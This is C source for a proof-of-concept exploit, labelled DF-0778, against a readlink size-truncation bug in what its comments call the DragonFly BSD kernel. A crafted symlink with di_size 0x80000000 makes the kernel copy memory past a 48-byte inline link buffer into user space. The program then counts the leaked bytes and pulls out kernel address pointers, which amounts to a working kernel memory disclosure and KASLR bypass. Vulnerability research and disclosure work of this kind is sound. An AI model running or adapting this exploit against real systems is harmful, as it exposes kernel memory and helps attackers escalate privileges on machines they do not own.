DF-0778 / trigger_readlink_big.c
/* * DF-0778 Mode B variant — demonstrate the OOB-read ceiling for the * INT_MIN case (di_size = 0x80000000). The truncated int isize becomes * negative, sign-extends to ~2^63 as a size_t, and uiomove copies that * many bytes from i_shortlink into the user buffer until either the user * buffer ends or uiomove hits an unmapped kernel page (-> EFAULT). * * We mmap a big chunk and readlink into it, then count how many bytes * were actually copied and how many look like kernel pointers. */ #include <sys/param.h> #include <sys/mman.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> int main(int argc, char **argv) { const char *path = (argc > 1) ? argv[1] : "/mnt/test/mylink"; size_t bufsz = (argc > 2) ? (size_t)strtoull(argv[2], NULL, 0) : (1u << 24); /* 16 MB default */ char *buf = mmap(NULL, bufsz, PROT_READ|PROT_WRITE, MAP_ANON|MAP_PRIVATE, -1, 0); if (buf == MAP_FAILED) { fprintf(stderr, "mmap %zu: %s\n", bufsz, strerror(errno)); return 2; } memset(buf, 0x5a, bufsz); ssize_t n = readlink(path, buf, bufsz); int saved = errno; printf("readlink(bufsz=%zu) = %zd", bufsz, n); if (n < 0) printf(" errno=%d (%s)", saved, strerror(saved)); printf("\n"); if (n <= 0) { munmap(buf, bufsz); return n < 0 ? 1 : 0; } /* Count kernel pointers (0xffff8000_00000000+ KVA on x86_64 DFly) */ unsigned long leaked_ptrs = 0; size_t scan = (size_t)n; for (size_t i = 48; i + 7 < scan; i += 8) { unsigned long long v; memcpy(&v, buf + i, 8); if ((v & 0xffff000000000000ULL) == 0xffff000000000000ULL) leaked_ptrs++; } printf("OOB bytes leaked (past 48-byte i_shortlink): %zu\n", scan > 48 ? scan - 48 : 0); printf("kernel KVA pointers among them: %lu\n", leaked_ptrs); /* Show first / last leaked KVA */ for (size_t i = 48; i + 7 < scan; i += 8) { unsigned long long v; memcpy(&v, buf + i, 8); if ((v & 0xffff000000000000ULL) == 0xffff000000000000ULL) { printf("first leaked KVA @ +%zu: 0x%016llx\n", i, v); break; } } munmap(buf, bufsz); return 0; } |